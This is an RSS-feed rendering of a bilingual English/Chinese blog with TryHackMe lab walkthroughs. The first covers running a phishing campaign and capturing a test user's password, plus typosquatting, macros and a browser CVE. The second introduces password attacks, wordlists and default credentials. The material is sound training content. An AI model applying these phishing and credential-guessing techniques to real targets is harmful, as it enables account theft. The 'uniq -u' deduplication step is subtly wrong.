&lt;p&gt;Email Template: Email 1 电子邮件模板：电子邮件 1&lt;/p&gt;
&lt;p&gt;Landing Page: ACME Login 登陆页面：ACME登录&lt;/p&gt;
&lt;p&gt;URL: &lt;a href=&quot;http://machine_ip/&quot;&gt;http://MACHINE_IP&lt;/a&gt; 公司主页： http：//MACHINE_IP&lt;/p&gt;
&lt;p&gt;Launch Date: For this lab set it to 2 days ago just to make sure there is no complication with different timezones, in a real operation this would be set correctly.&lt;br&gt;启动日期：对于此实验室，将其设置为 2 天前，以确保不同时区不会出现复杂情况，在实际操作中，这将正确设置。  &lt;/p&gt;
&lt;p&gt;Sending Profile: Local Server&lt;br&gt;发送配置文件：本地服务器&lt;/p&gt;
&lt;p&gt;Groups: Targets 组：目标&lt;/p&gt;
&lt;p&gt;Once completed, click the &lt;strong&gt;Launch Campaign&lt;/strong&gt; button, which will produce an &lt;strong&gt;Are You Sure&lt;/strong&gt; prompt where you can just press the &lt;strong&gt;Launch&lt;/strong&gt; button.&lt;br&gt;完成后，单击“启动活动”按钮，这将产生“您确定吗”提示，您只需按“启动”按钮即可。  &lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Phishing-10.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;You&amp;#39;ll then be redirected to the results page of the campaign.&lt;br&gt;然后，您将被重定向到广告系列的结果页面。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Results&lt;/strong&gt;** **&lt;strong&gt;结果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The results page gives us an idea of how the phishing campaign is performing by letting us know how many emails have been delivered, opened, clicked and how many users have submitted data to our spoof website.&lt;br&gt;结果页面让我们知道有多少电子邮件被发送、打开、点击，以及有多少用户向我们的欺骗网站提交了数据，让我们了解网络钓鱼活动的执行情况。  &lt;/p&gt;
&lt;p&gt;You&amp;#39;ll see at the bottom of the screen a breakdown for each email address; you&amp;#39;ll notice that both Martin&amp;#39;s and Brian&amp;#39;s email has been sent successfully, but the account&amp;#39;s email has resulted in an error.&lt;br&gt;您会在屏幕底部看到每个电子邮件地址的明细;您会注意到 Martin 和 Brian 的电子邮件都已成功发送，但该帐户的电子邮件导致错误。  &lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Phishing-11.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;We can dig in the error more by clicking the dropdown arrow next to the account&amp;#39;s row, and by viewing the details or the error, we can see an error message saying the user is unknown.&lt;br&gt;我们可以通过单击帐户行旁边的下拉箭头来进一步挖掘错误，通过查看详细信息或错误，我们可以看到一条错误消息，指出用户未知。  &lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Phishing-12.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;After a minute and providing you&amp;#39;ve followed the instructions correctly, you should see the status of brian change to** **&lt;strong&gt;Submitted Data.&lt;/strong&gt;&lt;br&gt;一分钟后，只要你已正确按照说明操作，您应该会看到 brian 的状态更改为“提交的数据”。  &lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Phishing-13.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Expanding Brian&amp;#39;s details and then viewing the details for the submitted data, you should be able to see Brian&amp;#39;s username and password, which will help you answer the question below.&lt;br&gt;展开 Brian 的详细信息，然后查看提交数据的详细信息，您应该能够看到 Brian 的用户名和密码，这将帮助您回答以下问题。  &lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Phishing-14.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;h2&gt;Answer the questions below&lt;/h2&gt;
&lt;p&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;What is the password for Brian?&lt;br&gt;布莱恩的密码是什么？&lt;/p&gt;
&lt;p&gt;根据上述操作进行即可获得密码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Phishing-15.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;Droppers&lt;/h1&gt;
&lt;p&gt;Droppers are software that phishing victims tend to be tricked into downloading and running on their system. The dropper may advertise itself as something useful or legitimate such as a codec to view a certain video or software to open a specific file.&lt;br&gt;滴管是网络钓鱼受害者往往被诱骗在其系统上下载和运行的软件。滴管可能会将自己宣传为有用或合法的东西，例如用于查看特定视频的编解码器或用于打开特定文件的软件。&lt;/p&gt;
&lt;p&gt;The droppers are not usually malicious themselves, so they tend to pass antivirus checks. Once installed, the intended malware is either unpacked or downloaded from a server and installed onto the victim&amp;#39;s computer. The malicious software usually connects back to the attacker&amp;#39;s infrastructure. The attacker can take control of the victim&amp;#39;s computer, which can further explore and exploit the local network.&lt;br&gt;滴管本身通常不是恶意的，因此它们往往会通过防病毒检查。安装后，预期的恶意软件将被解压缩或从服务器下载并安装到受害者的计算机上。恶意软件通常会连接回攻击者的基础结构。攻击者可以控制受害者的计算机，从而进一步探索和利用本地网络。&lt;/p&gt;
&lt;h2&gt;Answer the questions below&lt;/h2&gt;
&lt;p&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;Do droppers tend to be malicious?&lt;br&gt;滴管往往是恶意的吗？&lt;/p&gt;
&lt;p&gt;nay &lt;/p&gt;
&lt;h1&gt;Choosing A Phishing Domain&lt;/h1&gt;
&lt;p&gt;Choosing the right &lt;u&gt;Phishing&lt;/u&gt; domain to launch your attack from is essential to ensure you have the psychological edge over your target. A red team engagement can use some of the below methods for choosing the perfect domain name.&lt;br&gt;选择正确的网络钓鱼域来发起攻击对于确保您在目标上具有心理优势至关重要。红队参与可以使用以下一些方法来选择完美的域名。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Expired Domains:&lt;/strong&gt;** **&lt;strong&gt;过期域名：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Although not essential, buying a domain name with some history may lead to better scoring of your domain when it comes to spam filters. Spam filters have a tendency to not trust brand new domain names compared to ones with some history.&lt;br&gt;虽然不是必需的，但购买具有一定历史记录的域名可能会在垃圾邮件过滤器方面为您的域名带来更好的评分。与具有一定历史记录的域名相比，垃圾邮件过滤器倾向于不信任全新的域名。  &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Typosquatting:&lt;/strong&gt;** **&lt;strong&gt;错别字抢注：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Typosquatting is when a registered domain looks very similar to the target domain you&amp;#39;re trying to impersonate. Here are some of the common methods:&lt;br&gt;拼写错误是指注册的域看起来与您尝试模拟的目标域非常相似。以下是一些常用方法：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Misspelling:&lt;/strong&gt; goggle.com Vs google.com&lt;br&gt;拼写错误：goggle.com 与 google.com&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Additional Period:&lt;/strong&gt; go.ogle.com Vs google.com&lt;br&gt;附加时段：go.ogle.com VS google.com&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Switching numbers for letters:&lt;/strong&gt; g00gle.com Vs google.com&lt;br&gt;切换字母的数字：g00gle.com 与 google.com&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Phrasing:&lt;/strong&gt; googles.com Vs google.com&lt;br&gt;措辞：googles.com 与 google.com&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Additional Word:&lt;/strong&gt; googleresults.com Vs google.com&lt;br&gt;附加词：googleresults.com 与 google.com&lt;/p&gt;
&lt;p&gt;These changes might look unrealistic, but at a glance, the human brain tends to fill in the blanks and see what it wants to see, i.e. the correct domain name.&lt;br&gt;这些变化可能看起来不切实际，但乍一看，人脑倾向于填补空白，看看它想看到什么，即正确的域名。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TLD Alternatives:&lt;/strong&gt;** **&lt;strong&gt;TLD替代方案：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A TLD (Top Level Domain) is the .com .net .co.uk .org .gov e.t.c part of a domain name, there are 100&amp;#39;s of variants of TLD&amp;#39;s now. A common trick for choosing a domain would be to use the same name but with a different TLD. For example, register tryhackme.co.uk to impersonate tryhackme.com.&lt;br&gt;TLD（顶级域名）是域名.com.net .co.uk.org .gov等域名的一部分，现在有100多种顶级域名的变体。选择域名的一个常见技巧是使用相同的名称，但使用不同的顶级域名。例如，注册 tryhackme.co.uk 以模拟 tryhackme.com。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;IDN Homograph Attack/Script Spoofing:&lt;/strong&gt;**&lt;br&gt;**&lt;strong&gt;IDN 同形异义词攻击/脚本欺骗：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Originally domain names were made up of Latin characters a-z and 0-9, but in 1998, IDN (internationalized domain name) was implemented to support language-specific script or alphabet from other languages such as Arabic, Chinese, Cyrillic, Hebrew and more. An issue that arises from the IDN implementation is that different letters from different languages can actually appear identical. For example, Unicode character U+0430 (Cyrillic small letter a) looks identical to Unicode character U+0061 (Latin small letter a) used in English, enabling attackers to register a domain name that looks almost identical to another.&lt;br&gt;最初域名由拉丁字符 a-z 和 0-9 组成，但在 1998 年，实施了 IDN（国际化域名）以支持来自其他语言（如阿拉伯语、中文、西里尔语、希伯来语等）的特定语言脚本或字母。IDN 实现中出现的一个问题是，来自不同语言的不同字母实际上可能看起来相同。例如，Unicode 字符 U+0430（西里尔文小写字母 a）看起来与英语中使用的 Unicode 字符 U+0061（拉丁文小写字母 a）相同，使攻击者能够注册一个看起来几乎相同的域名。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Phishing-16.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Answer the questions below&lt;/h2&gt;
&lt;p&gt;回答以下问题
What is better, using an expired or new domain? (old/new)&lt;br&gt;使用过期域名还是新域名哪个更好？（旧/新）&lt;/p&gt;
&lt;p&gt;old&lt;/p&gt;
&lt;p&gt;What is the term used to describe registering a similar domain name with a spelling error?&lt;br&gt;用于描述注册拼写错误的类似域名的术语是什么？&lt;/p&gt;
&lt;p&gt;Typosquatting   错别字抢注&lt;/p&gt;
&lt;h1&gt;Using MS Office In Phishing&lt;/h1&gt;
&lt;p&gt;Often during phishing campaigns, a Microsoft Office document (typically Word, Excel or PowerPoint) will be included as an attachment. Office documents can contain macros; macros do have a legitimate use but can also be used to run computer commands that can cause malware to be installed onto the victim&amp;#39;s computer or connect back to an attacker&amp;#39;s network and allow the attacker to take control of the victim&amp;#39;s computer.&lt;br&gt;通常在网络钓鱼活动期间，Microsoft Office 文档（通常是 Word、Excel 或 PowerPoint）将作为附件包含在内。Office 文档可以包含宏;宏确实具有合法用途，但也可用于运行计算机命令，这些命令可能导致恶意软件安装到受害者的计算机上或连接回攻击者的网络并允许攻击者控制受害者的计算机。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Take, for example, the following scenario:&lt;/strong&gt;**&lt;br&gt;**&lt;strong&gt;以以下方案为例：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A staff member working for Acme IT Support receives an email from human resources with an excel spreadsheet called &amp;quot;Staff_Salaries.xlsx&amp;quot; intended to go to the boss but somehow ended up in the staff members inbox instead.&lt;br&gt;Acme IT 支持部门的一名员工收到一封来自人力资源部的电子邮件，其中包含一个名为“Staff_Salaries.xlsx”的 excel 电子表格，打算发送给老板，但不知何故最终进入了员工收件箱。&lt;/p&gt;
&lt;p&gt;What really happened was that an attacker spoofed the human resources email address and crafted a psychologically tempting email perfectly aimed to tempt the staff member into opening the attachment.&lt;br&gt;真正发生的事情是，攻击者欺骗了人力资源电子邮件地址，并制作了一封心理上诱人的电子邮件，旨在诱使工作人员打开附件。&lt;/p&gt;
&lt;p&gt;Once the staff member opened the attachment and enabled the macros, their computer was compromised.&lt;br&gt;一旦工作人员打开附件并启用宏，他们的计算机就会受到威胁。&lt;/p&gt;
&lt;h2&gt;Answer the questions below&lt;/h2&gt;
&lt;p&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;What can Microsoft Office documents contain, which, when executed can run computer commands?&lt;br&gt;Microsoft Office 文档可以包含哪些内容，执行时可以运行计算机命令？&lt;/p&gt;
&lt;p&gt;macros&lt;/p&gt;
&lt;h1&gt;Using Browser Exploits&lt;/h1&gt;
&lt;p&gt;Another method of gaining control over a victim&amp;#39;s computer could be through browser exploits; this is when there is a vulnerability against a browser itself (Internet Explorer/Edge, Firefox, Chrome, Safari, etc.), which allows the attacker to run remote commands on the victim&amp;#39;s computer.&lt;br&gt;另一种控制受害者计算机的方法可能是通过浏览器漏洞利用;这是当存在针对浏览器本身（Internet Explorer/Edge、Firefox、Chrome、Safari 等）的漏洞时，攻击者可以在受害者的计算机上运行远程命令。  &lt;/p&gt;
&lt;p&gt;Browser exploits aren&amp;#39;t usually a common path to follow in a red team engagement unless you have prior knowledge of old technology being used on-site. Many browsers are kept up to date, hard to exploit due to how browsers are developed, and the exploits are often worth a lot of money if reported back to the developers.&lt;br&gt;浏览器漏洞通常不是红队参与的常见路径，除非您事先了解现场使用的旧技术。许多浏览器都是最新的，由于浏览器的开发方式而难以利用，如果向开发人员报告，这些漏洞通常价值不菲。  &lt;/p&gt;
&lt;p&gt;That being said, it can happen, and as previously mentioned, it could be used to target old technologies on-site because possibly the browser software cannot be updated due to incompatibility with commercial software/hardware, which can happen quite often in big institutions such as education, government and especially health care.&lt;br&gt;话虽如此，它可能会发生，如前所述，它可用于针对现场的旧技术，因为浏览器软件可能由于与商业软件/硬件不兼容而无法更新，这在教育、政府等大型机构中经常发生，尤其是医疗保健。  &lt;/p&gt;
&lt;p&gt;Usually, the victim would receive an email, convincing them to visit a particular website set up by the attacker. Once the victim is on the site, the exploit works against the browser, and now the attacker can perform any commands they wish on the victim&amp;#39;s computer.&lt;br&gt;通常，受害者会收到一封电子邮件，说服他们访问攻击者设置的特定网站。一旦受害者进入该站点，该漏洞就会对浏览器起作用，现在攻击者可以在受害者的计算机上执行他们想要的任何命令。&lt;/p&gt;
&lt;p&gt;An example of this is &lt;a href=&quot;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444&quot;&gt;CVE-2021-40444&lt;/a&gt; from September 2021, which is a vulnerability found in Microsoft systems that allowed the execution of code just from visiting a website.&lt;br&gt;这方面的一个例子是 2021 年 9 月的 CVE-2021-40444，这是在 Microsoft 系统中发现的漏洞，允许仅通过访问网站执行代码。  &lt;/p&gt;
&lt;h2&gt;Answer the questions below&lt;/h2&gt;
&lt;p&gt;回答以下问题
Which recent CVE caused remote code execution?&lt;br&gt;最近的哪个 CVE 导致了远程代码执行？&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444&quot;&gt;CVE-2021-40444&lt;/a&gt;&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-phishing/&quot;&gt;https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-phishing/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Sat, 06 Apr 2024 00:00:00 GMT</pubDate></item><item><title>TryHackMe-Password Attacks</title><link>https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-password-attacks/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-password-attacks/</guid><description>Red Teaming</description><content:encoded>&lt;h1&gt;介绍&lt;/h1&gt;
&lt;p&gt;This room is an introduction to the types and techniques used in password attacks. We will discuss the ways to get and generate custom password lists. The following are some of the topics we will discuss:&lt;br&gt;这个房间介绍了密码攻击中使用的类型和技术。我们将讨论获取和生成自定义密码列表的方法。以下是我们将讨论的一些主题：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Password profiling 密码分析&lt;/li&gt;
&lt;li&gt;Password attacks techniques&lt;br&gt;密码攻击技术&lt;/li&gt;
&lt;li&gt;Online password attacks 在线密码攻击&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;What is a password? 什么是密码？&lt;/h3&gt;
&lt;p&gt;Passwords are used as an authentication method for individuals to access computer systems or applications. Using passwords ensures the owner of the account is the only one who has access. However, if the password is shared or falls into the wrong hands, unauthorized changes to a given system could occur. Unauthorized access could potentially lead to changes in the system&amp;#39;s overall status and health or damage the file system. Passwords are typically comprised of a combination of characters such as letters, numbers, and symbols. Thus, it is up to the user how they generate passwords!&lt;br&gt;密码用作个人访问计算机系统或应用程序的身份验证方法。使用密码可确保帐户所有者是唯一有权访问的人。但是，如果密码被共享或落入坏人之手，则可能会对给定系统进行未经授权的更改。未经授权的访问可能会导致系统的整体状态和运行状况发生变化或损坏文件系统。密码通常由字母、数字和符号等字符组合组成。因此，由用户如何生成密码！&lt;/p&gt;
&lt;p&gt;A collection of passwords is often referred to as a dictionary or wordlist. Passwords with low complexity that are easy to guess are commonly found in various publicly disclosed password data breaches. For example, an easy-to-guess password could be password, 123456, 111111, and much more. Here are the &lt;a href=&quot;https://techlabuzz.com/top-100-most-common-passwords/&quot;&gt;top 100 and most common and seen passwords&lt;/a&gt; for your reference. Thus, it won&amp;#39;t take long and be too difficult for the attacker to run password attacks against the target or service to guess the password. Choosing a strong password is a good practice, making it hard to guess or crack. Strong passwords should not be common words or found in dictionaries as well as the password should be an eight characters length at least. It also should contain uppercase and lower case letters, numbers, and symbol strings (ex: &lt;em&gt;&amp;amp;^%$#@).&lt;br&gt;密码集合通常称为字典或单词列表。复杂度低且易于猜测的密码常见于各种公开披露的密码数据泄露事件中。例如，易于猜测的密码可以是密码、123456、111111等等。以下是前 100 名和最常见和可见的密码供您参考。因此，攻击者对目标或服务进行密码攻击以猜测密码不会花费很长时间，而且太难了。选择强密码是一种很好的做法，很难猜测或破解。强密码不应是常用词或在字典中找到，并且密码的长度应至少为 8 个字符。它还应包含大写和小写字母、数字和符号字符串（例如：&lt;/em&gt;&amp;amp;^%$#@）。&lt;/p&gt;
&lt;p&gt;Sometimes, companies have their own password policies and enforce users to follow guidelines when creating passwords. This helps ensure users aren&amp;#39;t using common or weak passwords within their organization and could limit attack vectors such as brute-forcing. For example, a password length has to be eight characters and more, including characters, a couple of numbers, and at least one symbol. However, if the attacker figures out the password policy, he could generate a password list that satisfies the account password policy.&lt;br&gt;有时，公司有自己的密码策略，并强制用户在创建密码时遵循准则。这有助于确保用户不会在其组织内使用通用密码或弱密码，并可以限制攻击媒介，例如暴力破解。例如，密码长度必须为 8 个字符或更多，包括字符、几个数字和至少一个符号。但是，如果攻击者找出密码策略，他可以生成满足帐户密码策略的密码列表。&lt;/p&gt;
&lt;h3&gt;How secure are passwords?&lt;/h3&gt;
&lt;p&gt;密码的安全性如何？
Passwords are a protection method for accessing online accounts or computer systems. Passwords authentication methods are used to access personal and private systems, and its main goal of using the password is to keep it safe and not share it with others.&lt;br&gt;密码是访问在线帐户或计算机系统的一种保护方法。密码身份验证方法用于访问个人和私人系统，其使用密码的主要目的是确保其安全，不与他人共享。&lt;/p&gt;
&lt;p&gt;To answer the question: How secure are passwords? depends on various factors. Passwords are usually stored within the file system or database, and keeping them safe is essential. We&amp;#39;ve seen cases where companies store passwords into plaintext documents, such as the &lt;a href=&quot;https://www.techdirt.com/articles/20141204/12032329332/shocking-sony-learned-no-password-lessons-after-2011-psn-hack.shtml&quot;&gt;Sony breach&lt;/a&gt; in 2014. Therefore, once an attacker accesses the file system, he can easily obtain and reuse these passwords. On the other hand, others store passwords within the system using various techniques such as hashing functions or encryption algorithms to make them more secure. Even if the attacker has to access the system, it will be harder to crack. We will cover cracking hashes in the upcoming tasks.&lt;br&gt;回答这个问题：密码有多安全？取决于各种因素。密码通常存储在文件系统或数据库中，确保它们的安全至关重要。我们已经看到公司将密码存储到明文文档中的情况，例如2014年的索尼漏洞。因此，一旦攻击者访问文件系统，他可以很容易地获取和重复使用这些密码。另一方面，其他人使用各种技术（例如哈希函数或加密算法）将密码存储在系统内，以使其更加安全。即使攻击者必须访问系统，也更难破解。我们将在即将到来的任务中介绍破解哈希。&lt;br&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Password%20Attacks-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;Password Attack Techniques&lt;/h1&gt;
&lt;p&gt;In this room, we will discuss the techniques that could be used to perform password attacks. We will cover various techniques such as a dictionary, brute-force, rule-base, and guessing attacks. All the above techniques are considered active &amp;#39;online&amp;#39; attacks where the attacker needs to communicate with the target machine to obtain the password in order to gain unauthorized access to the machine.&lt;br&gt;在这个房间里，我们将讨论可用于执行密码攻击的技术。我们将介绍各种技术，例如字典、暴力破解、规则库和猜测攻击。上述所有技术都被视为主动“在线”攻击，攻击者需要与目标计算机通信以获取密码，以便获得对计算机的未经授权的访问。&lt;/p&gt;
&lt;h3&gt;Password Cracking vs. Password Guessing&lt;/h3&gt;
&lt;p&gt;密码破解与密码猜测  &lt;/p&gt;
&lt;p&gt;This section discusses password cracking terminology from a cybersecurity perspective. Also, we will discuss significant differences between password cracking and password guessing. Finally, we&amp;#39;ll demonstrate various tools used for password cracking, including **Hashcat **and &lt;strong&gt;&lt;u&gt;John the Ripper&lt;/u&gt;&lt;/strong&gt;&lt;br&gt;本节从网络安全的角度讨论密码破解术语。此外，我们将讨论密码破解和密码猜测之间的显着差异。最后，我们将演示用于破解密码的各种工具，包括 Hashcat 和 John the Ripper.&lt;/p&gt;
&lt;p&gt;Password cracking is a technique used for discovering passwords from encrypted or hashed data to plaintext data. Attackers may obtain the encrypted or hashed passwords from a compromised computer or capture them from transmitting data over the network. Once passwords are obtained, the attacker can utilize password attacking techniques to crack these hashed passwords using various tools.&lt;br&gt;密码破解是一种用于从加密或哈希数据到明文数据中发现密码的技术。攻击者可以从受感染的计算机获取加密或哈希密码，或通过网络传输数据来捕获密码。获得密码后，攻击者可以利用密码攻击技术使用各种工具破解这些哈希密码。  &lt;/p&gt;
&lt;p&gt;Password cracking is considered one of the traditional techniques in pen-testing. The primary goal is to let the attacker escalate to higher privileges and access to a computer system or network. Password guessing and password cracking are often commonly used by information security professionals. Both have different meanings and implications. Password guessing is a method of guessing passwords for online protocols and services based on dictionaries. The following are major differences between password cracking and password guessing:&lt;br&gt;密码破解被认为是渗透测试中的传统技术之一。主要目标是让攻击者升级到更高的权限并访问计算机系统或网络。密码猜测和密码破解通常是信息安全专业人员常用的。两者都有不同的含义和含义。密码猜测是一种基于字典的在线协议和服务猜测密码的方法。以下是密码破解和密码猜测之间的主要区别：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Password guessing is a technique used to target online protocols and services. Therefore, it&amp;#39;s considered time-consuming and opens up the opportunity to generate logs for the failed login attempts. A password guessing attack conducted on a web-based system often requires a new request to be sent for each attempt, which can be easily detected. It may cause an account to be locked out if the system is designed and configured securely.&lt;br&gt;密码猜测是一种用于针对在线协议和服务的技术。因此，它被认为是耗时的，并为失败的登录尝试生成日志提供了机会。在基于 Web 的系统上进行的密码猜测攻击通常需要为每次尝试发送一个新请求，这很容易被检测到。如果系统是安全设计和配置的，则可能会导致帐户被锁定。&lt;/li&gt;
&lt;li&gt;Password cracking is a technique performed locally or on systems controlled by the attacker.&lt;br&gt;密码破解是在本地或在攻击者控制的系统上执行的一种技术。&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Password Profiling #1 -&lt;/h1&gt;
&lt;p&gt;Having a good wordlist is critical to carrying out a successful password attack. It is important to know how you can generate username lists and password lists. In this section, we will discuss creating targeted username and password lists. We will also cover various topics, including default, weak, leaked passwords, and creating targeted wordlists.&lt;br&gt;拥有一个好的单词列表对于成功进行密码攻击至关重要。了解如何生成用户名列表和密码列表非常重要。在本节中，我们将讨论创建有针对性的用户名和密码列表。我们还将涵盖各种主题，包括默认密码、弱密码、泄露密码以及创建有针对性的单词列表。  &lt;/p&gt;
&lt;p&gt;Default Passwords 默认密码  &lt;/p&gt;
&lt;p&gt;Before performing password attacks, it is worth trying a couple of default passwords against the targeted service. Manufacturers set default passwords with products and equipment such as switches, firewalls, routers. There are scenarios where customers don&amp;#39;t change the default password, which makes the system vulnerable. Thus, it is a good practice to try out admin:admin, admin:123456, etc. If we know the target device, we can look up the default passwords and try them out. For example, suppose the target server is a Tomcat, a lightweight, open-source Java application server. In that case, there are a couple of possible default passwords we can try: admin:admin or tomcat:admin&lt;br&gt;在执行密码攻击之前，值得尝试针对目标服务使用几个默认密码。制造商为交换机、防火墙、路由器等产品和设备设置默认密码。在某些情况下，客户不会更改默认密码，这会使系统容易受到攻击。因此，尝试 admin：admin、admin：123456 等是一个很好的做法。如果我们知道目标设备，我们可以查找默认密码并试用它们。例如，假设目标服务器是 Tomcat，一个轻量级的开源 Java 应用程序服务器。在这种情况下，我们可以尝试几种可能的默认密码：admin：admin 或 tomcat：admin.&lt;/p&gt;
&lt;p&gt;Here are some website lists that provide default passwords for various products.&lt;br&gt;以下是一些为各种产品提供默认密码的网站列表。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://cirt.net/passwords&quot;&gt;https://cirt.net/passwords&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://default-password.info/&quot;&gt;https://default-password.info/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://datarecovery.com/rd/default-passwords/&quot;&gt;https://datarecovery.com/rd/default-passwords/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Weak Passwords 弱密码&lt;br&gt;Professionals collect and generate weak password lists over time and often combine them into one large wordlist. Lists are generated based on their experience and what they see in pentesting engagements. These lists may also contain leaked passwords that have been published publically. Here are some of the common weak passwords lists :&lt;br&gt;随着时间的推移，专业人员收集并生成弱密码列表，并经常将它们组合成一个大的单词列表。列表是根据他们的经验和他们在渗透测试活动中看到的内容生成的。这些列表还可能包含已公开发布的泄露密码。以下是一些常见的弱密码列表：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://wiki.skullsecurity.org/index.php?title=Passwords&quot;&gt;https://wiki.skullsecurity.org/index.php?title=Passwords&lt;/a&gt; - This includes the most well-known collections of passwords.&lt;br&gt;&lt;a href=&quot;https://wiki.skullsecurity.org/index.php?title=Passwords&quot;&gt;https://wiki.skullsecurity.org/index.php?title=Passwords&lt;/a&gt; - 这包括最知名的密码集合。&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/danielmiessler/SecLists/tree/master/Passwords&quot;&gt;SecLists&lt;/a&gt; - A huge collection of all kinds of lists, not only for password cracking.&lt;br&gt;SecLists - 各种列表的庞大集合，不仅用于密码破解。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Leaked Passwords 泄露的密码&lt;/h3&gt;
&lt;p&gt;Sensitive data such as passwords or hashes may be publicly disclosed or sold as a result of a breach. These public or privately available leaks are often referred to as &amp;#39;dumps&amp;#39;. Depending on the contents of the dump, an attacker may need to extract the passwords out of the data. In some cases, the dump may only contain hashes of the passwords and require cracking in order to gain the plain-text passwords. The following are some of the common password lists that have weak and leaked passwords, including webhost, elitehacker,hak5, Hotmail, PhpBB companies&amp;#39; leaks:&lt;br&gt;密码或哈希等敏感数据可能会因泄露而公开披露或出售。这些公开或私人可用的泄漏通常被称为“转储”。根据转储的内容，攻击者可能需要从数据中提取密码。在某些情况下，转储可能仅包含密码的哈希值，并且需要破解才能获得纯文本密码。以下是一些具有弱密码和泄露密码的常见密码列表，包括 webhost、elitehacker、hak5、Hotmail、PhpBB 公司的泄漏：  &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/danielmiessler/SecLists/tree/master/Passwords/Leaked-Databases&quot;&gt;SecLists/Passwords/Leaked-DatabasesSecLists/密码/泄露数据库&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Combined wordlists 组合词表&lt;/h3&gt;
&lt;p&gt;Let&amp;#39;s say that we have more than one wordlist. Then, we can combine these wordlists into one large file. This can be done as follows using cat&lt;br&gt;假设我们有多个单词表。然后，我们可以将这些单词列表组合成一个大文件。这可以使用猫按如下方式完成:&lt;/p&gt;
&lt;p&gt;cewl&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;cat file1.txt file2.txt file3.txt &amp;gt; combined_list.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To clean up the generated combined list to remove duplicated words, we can use sort and uniq as follows:&lt;br&gt;为了清理生成的组合列表以删除重复的单词，我们可以按如下方式使用 sort 和 uniq：&lt;/p&gt;
&lt;p&gt;cewl&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sort combined_list.txt | uniq -u &amp;gt; cleaned_combined_list.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Customized Wordlists 自定义单词列表&lt;/h3&gt;
